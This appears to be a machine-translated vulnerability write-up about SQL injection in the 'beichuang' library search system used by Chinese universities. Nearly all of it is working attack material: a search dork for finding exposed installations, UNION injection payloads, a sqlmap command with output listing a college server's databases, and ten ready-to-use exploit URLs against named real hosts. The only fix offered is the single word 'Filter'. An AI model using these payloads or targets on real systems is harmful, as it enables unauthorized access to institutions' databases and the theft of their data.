One of the SQL injection vulnerabilities in the beichuang library search system

One of the SQL injection vulnerabilities in the beichuang library search system

SQL injection is caused by lax filtering in some part of the beichuang book search system, which affects many colleges and universities.

Baidu search: inurl:/opac_two/search2
 

 

Injection link:/opac_two/search2/shelves_checkout.jsp? Library_id = & rec_ctrl_id =

Injection parameter: rec_ctrl_idPayload: library_id = A & rec_ctrl_id = 0195033665 '+ and + 1 = 2 + union + select + NULL, '123', NULL, NULL, NULL -- (based on mssql database)

 

 

Test Case Study: Beijing Women's College http: // 219.242.31.130: 8080/opac_two/

Test link: http: // 219.242.31.130: 8080/opac_two/search2/shelves_checkout.jsp? Library_id = A & rec_ctrl_id = 0195033665 (1) UNION injection http: // 219.242.31.130: 8080/opac_two/search2/shelves_checkout.jsp? Library_id = A & rec_ctrl_id = 0195033665 '+ and + 1 = 2 + union + select + NULL, '20140901', NULL --

 

(2) sqlmap Injection
 

$ py sqlmap.py -u 'http://219.242.31.130:8080/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665' -p rec_ctrl_id --level 5 --risk 3 --random-agent --dbs -v 1 --batch---Place: GETParameter: rec_ctrl_idType: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: library_id=A&rec_ctrl_id=0195033665' AND 8430=8430 AND 'LBSb'='LBSbType: UNION queryTitle: Generic UNION query (NULL) - 9 columnsPayload: library_id=A&rec_ctrl_id=0195033665' UNION ALL SELECT NULL,CHAR(113)+CHAR(110)+CHAR(99)+CHAR(112)+CHAR(113)+CHAR(86)+CHAR(102)+CHAR(72)+CHAR(89)+CHAR(Type: AND/OR time-based blindTitle: Microsoft SQL Server/Sybase AND time-based blind (heavy query)Payload: library_id=A&rec_ctrl_id=0195033665' AND 8352=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sy---[18:13:54] [INFO] testing Microsoft SQL Server[18:13:54] [INFO] confirming Microsoft SQL Server[18:14:00] [WARNING] reflective value(s) found and filtering out[18:14:10] [INFO] the back-end DBMS is Microsoft SQL Serverweb application technology: JSPback-end DBMS: Microsoft SQL Server Unknown[18:14:14] [INFO] fetching database namesavailable databases [6]:[*] master[*] melinets[*] model[*] sybsystemdb[*] sybsystemprocs[*] tempdb

 

 

Other test cases: (based on mssql database)

（1）http://opac.lnu.edu.cn/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- 

 

py sqlmap.py -u 'http://opac.lnu.edu.cn/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665' -p rec_ctrl_id --level 5 --risk 3 --technique=U --union-cols=9 --dbms mssql --dbs --batch

（2）http://202.118.84.134:8080/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（3）http://219.218.26.4:85/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（4）http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（5）http://218.107.150.8/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（6）http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（7）http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（8）http://202.118.84.134:8080/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（9）http://202.197.224.89:8088/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

（10）http://218.107.150.8/opac_two/search2/shelves_checkout.jsp?library_id=A&rec_ctrl_id=0195033665%27+and+1=2+union+select+NULL,%27111111%27,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

 

 

Solution:

Filter